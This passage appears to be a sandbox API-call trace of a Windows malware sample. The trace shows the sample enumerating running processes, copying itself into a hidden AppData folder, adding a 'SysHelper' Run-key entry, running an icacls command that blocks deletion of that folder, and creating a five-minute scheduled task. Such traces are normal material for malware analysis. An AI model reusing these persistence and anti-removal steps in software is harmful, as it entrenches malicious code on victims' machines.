lpBaseName="comply_holdings_miami.exe") returned 0x19 [0041.195] CloseHandle (hObject=0x5b4) returned 1 [0041.195] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x5b4 [0041.195] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.196] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x50000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="pills.exe") returned 0x9 [0041.197] CloseHandle (hObject=0x5b4) returned 1 [0041.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x794) returned 0x5b4 [0041.197] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.198] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1250000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="fascinating.exe") returned 0xf [0041.198] CloseHandle (hObject=0x5b4) returned 1 [0041.198] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x774) returned 0x5b4 [0041.198] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.199] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x260000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="architectural.exe") returned 0x11 [0041.199] CloseHandle (hObject=0x5b4) returned 1 [0041.199] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c0) returned 0x5b4 [0041.199] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.200] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1f0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="integrating-prev.exe") returned 0x14 [0041.200] CloseHandle (hObject=0x5b4) returned 1 [0041.200] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x5b4 [0041.200] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.201] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x840000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="interact_mixture_famous.exe") returned 0x1b [0041.201] CloseHandle (hObject=0x5b4) returned 1 [0041.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x5b4 [0041.201] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.202] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xa90000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="midwest curriculum samoa.exe") returned 0x1c [0041.203] CloseHandle (hObject=0x5b4) returned 1 [0041.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x518) returned 0x5b4 [0041.203] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.204] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x11e0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="dreams personality.exe") returned 0x16 [0041.204] CloseHandle (hObject=0x5b4) returned 1 [0041.204] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x5b4 [0041.204] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.205] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xb20000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="failure.exe") returned 0xb [0041.205] CloseHandle (hObject=0x5b4) returned 1 [0041.205] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5b4 [0041.205] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.206] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xe70000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="generation_prints_boutique.exe") returned 0x1e [0041.206] CloseHandle (hObject=0x5b4) returned 1 [0041.206] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x5b4 [0041.206] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.207] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xa30000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="loves.exe") returned 0x9 [0041.208] CloseHandle (hObject=0x5b4) returned 1 [0041.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x5b4 [0041.208] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.208] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xbf0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="hiring.exe") returned 0xa [0041.209] CloseHandle (hObject=0x5b4) returned 1 [0041.209] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0x5b4 [0041.209] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.210] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xf20000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="humanity maximum.exe") returned 0x14 [0041.210] CloseHandle (hObject=0x5b4) returned 1 [0041.210] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ac) returned 0x5b4 [0041.210] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.211] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xad0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="constructed.exe") returned 0xf [0041.211] CloseHandle (hObject=0x5b4) returned 1 [0041.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x5b4 [0041.211] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.212] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xc40000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="contractors-latinas-why.exe") returned 0x1b [0041.212] CloseHandle (hObject=0x5b4) returned 1 [0041.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x0 [0041.212] CloseHandle (hObject=0x0) returned 0 [0041.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x900) returned 0x5b4 [0041.213] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0041.213] CloseHandle (hObject=0x5b4) returned 1 [0041.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d0) returned 0x5b4 [0041.213] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.214] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x400000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 0x44 [0041.214] CloseHandle (hObject=0x5b4) returned 1 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x28) returned 0x335ef8 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x366028 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3193bb8 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x366728 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x366990 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3045c88 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3045ef0 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3046158 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x30463c0 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3046628 [0041.214] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x25c) returned 0x3046890 [0041.214] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c100 | out: phkResult=0x18c100*=0x5b4) returned 0x0 [0041.215] RegQueryValueExW (in: hKey=0x5b4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c0fc, lpData=0x18a828, lpcbData=0x18c0e0*=0x400 | out: lpType=0x18c0fc*=0x0, lpData=0x18a828*=0x0, lpcbData=0x18c0e0*=0x400) returned 0x2 [0041.215] RegCloseKey (hKey=0x5b4) returned 0x0 [0041.215] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0041.215] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0041.215] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " [0041.215] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" ", pNumArgs=0x18c0c4 | out: pNumArgs=0x18c0c4) returned 0x367e98*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.215] lstrcpyW (in: lpString1=0x18a028, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.215] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.215] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18b828 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0041.215] UuidCreate (in: Uuid=0x18c074 | out: Uuid=0x18c074) returned 0x0 [0041.215] UuidToStringW (in: Uuid=0x18c074, StringUuid=0x18c108 | out: StringUuid=0x18c108) returned 0x0 [0041.215] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x50) returned 0x2fe4b20 [0041.216] RpcMgmtStatsVectorFree (in: StatsVector=0x18c108 | out: StatsVector=0x18c108) returned 0x0 [0041.216] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="6b294fe4-e3b3-4741-b743-c8423c8d7aef" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef") returned 1 [0041.216] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef"), lpSecurityAttributes=0x0) returned 1 [0041.216] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xb0) returned 0x301e2c8 [0041.216] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xb0) returned 0x301e380 [0041.216] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef", pMore="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 1 [0041.216] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0 [0041.216] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe"), bFailIfExists=0) returned 1 [0041.246] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c104 | out: phkResult=0x18c104*=0x5b8) returned 0x0 [0041.246] lstrcpyW (in: lpString1=0x18b028, lpString2="\"" | out: lpString1="\"") returned="\"" [0041.246] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.246] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" [0041.246] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart") returned 163 [0041.246] RegSetValueExW (in: hKey=0x5b8, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", cbData=0x146 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart") returned 0x0 [0041.247] RegCloseKey (hKey=0x5b8) returned 0x0 [0041.247] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x130) returned 0x3009260 [0041.247] SetLastError (dwErrCode=0x0) [0041.247] lstrcpyW (in: lpString1=0x189028, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0041.247] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef" [0041.247] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0041.247] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c028*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c084 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18c084*(hProcess=0x5b4, hThread=0x5b8, dwProcessId=0xa98, dwThreadId=0xa9c)) returned 1 [0041.260] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.343] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.345] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.360] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.376] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.391] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x0 [0041.406] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x301e380 | out: hHeap=0x280000) returned 1 [0041.406] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2fe4b20 | out: hHeap=0x280000) returned 1 [0041.406] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x130) returned 0x30204f8 [0041.406] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x130) returned 0x366bf8 [0041.406] CoInitialize (pvReserved=0x0) returned 0x0 [0041.687] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0041.688] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x130) returned 0x3015138 [0041.688] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18c0ec | out: ppv=0x18c0ec*=0x2780b00) returned 0x0 [0041.812] TaskScheduler:ITaskService:Connect (This=0x2780b00, serverName=0x18bb78*(varType=0x0, wReserved1=0x302, wReserved2=0x4f0, wReserved3=0x302, varVal1=0x97, varVal2=0x130), user=0x18bb88*(varType=0x0, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1=0x0, varVal2=0x138), domain=0x18bb98*(varType=0x0, wReserved1=0x0, wReserved2=0x130, wReserved3=0x0, varVal1=0x97, varVal2=0x7), password=0x18bba8*(varType=0x0, wReserved1=0x304, wReserved2=0xc094, wReserved3=0x18, varVal1=0x41720b, varVal2=0x280000)) returned 0x0 [0041.817] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438c8 [0041.817] TaskScheduler:ITaskService:GetFolder (in: This=0x2780b00, Path="\\", ppFolder=0x18c0f4 | out: ppFolder=0x18c0f4*=0x70ff98) returned 0x0 [0041.819] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438c8 | out: hHeap=0x280000) returned 1 [0041.819] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438c8 [0041.819] ITaskFolder:DeleteTask (This=0x70ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0041.820] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438c8 | out: hHeap=0x280000) returned 1 [0041.820] TaskScheduler:ITaskService:NewTask (in: This=0x2780b00, flags=0x0, ppDefinition=0x18c0f8 | out: ppDefinition=0x18c0f8*=0x2780b88) returned 0x0 [0041.828] TaskScheduler:IUnknown:Release (This=0x2780b00) returned 0x1 [0041.828] ITaskDefinition:get_RegistrationInfo (in: This=0x2780b88, ppRegistrationInfo=0x18c0cc | out: ppRegistrationInfo=0x18c0cc*=0x2780c48) returned 0x0 [0041.829] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.829] IRegistrationInfo:put_Author (This=0x2780c48, Author="Author Name") returned 0x0 [0041.829] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.829] IUnknown:Release (This=0x2780c48) returned 0x1 [0041.829] ITaskDefinition:get_Principal (in: This=0x2780b88, ppPrincipal=0x18c0d4 | out: ppPrincipal=0x18c0d4*=0x2780dd8) returned 0x0 [0041.829] IPrincipal:put_LogonType (This=0x2780dd8, LogonType=3) returned 0x0 [0041.829] IUnknown:Release (This=0x2780dd8) returned 0x1 [0041.829] ITaskDefinition:get_Settings (in: This=0x2780b88, ppSettings=0x18c0dc | out: ppSettings=0x18c0dc*=0x2780cf8) returned 0x0 [0041.829] ITaskSettings:put_StartWhenAvailable (This=0x2780cf8, StartWhenAvailable=1) returned 0x0 [0041.829] IUnknown:Release (This=0x2780cf8) returned 0x1 [0041.829] ITaskSettings:get_IdleSettings (in: This=0x2780cf8, ppIdleSettings=0x18c0c0 | out: ppIdleSettings=0x18c0c0*=0x2780d68) returned 0x0 [0041.829] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.829] IIdleSettings:put_WaitTimeout (This=0x2780d68, WaitTimeout="PT5M") returned 0x0 [0041.829] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.829] IUnknown:Release (This=0x2780d68) returned 0x1 [0041.829] ITaskDefinition:get_Triggers (in: This=0x2780b88, ppTriggers=0x18c0bc | out: ppTriggers=0x18c0bc*=0x2780cb8) returned 0x0 [0041.829] ITriggerCollection:Create (in: This=0x2780cb8, Type=1, ppTrigger=0x18c0c8 | out: ppTrigger=0x18c0c8*=0x2780e38) returned 0x0 [0041.830] IUnknown:Release (This=0x2780cb8) returned 0x1 [0041.830] IUnknown:QueryInterface (in: This=0x2780e38, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18c0e4 | out: ppvObject=0x18c0e4*=0x2780e38) returned 0x0 [0041.830] IUnknown:Release (This=0x2780e38) returned 0x2 [0041.830] ITrigger:get_Repetition (in: This=0x2780e38, ppRepeat=0x18c0d0 | out: ppRepeat=0x18c0d0*=0x2780e88) returned 0x0 [0041.830] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.830] IRepetitionPattern:put_Interval (This=0x2780e88, Interval="PT5M") returned 0x0 [0041.830] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.830] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.830] IRepetitionPattern:put_Duration (This=0x2780e88, Duration="") returned 0x0 [0041.831] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.832] ITrigger:put_Repetition (This=0x2780e38, Repetition=0x2780e88) returned 0x0 [0041.832] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.832] ITrigger:put_Id (This=0x2780e38, Id="Trigger1") returned 0x0 [0041.832] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.832] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x30438f8 [0041.832] ITrigger:put_EndBoundary (This=0x2780e38, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0041.832] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30438f8 | out: hHeap=0x280000) returned 1 [0041.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bba4 | out: lpSystemTimeAsFileTime=0x18bba4*(dwLowDateTime=0xa5d800b0, dwHighDateTime=0x1d53993)) [0041.832] GetLastError () returned 0x0 [0041.832] SetLastError (dwErrCode=0x0) [0041.832] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x24) returned 0x319bd48 [0041.832] GetLastError () returned 0x0 [0041.832] SetLastError (dwErrCode=0x0) [0041.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, 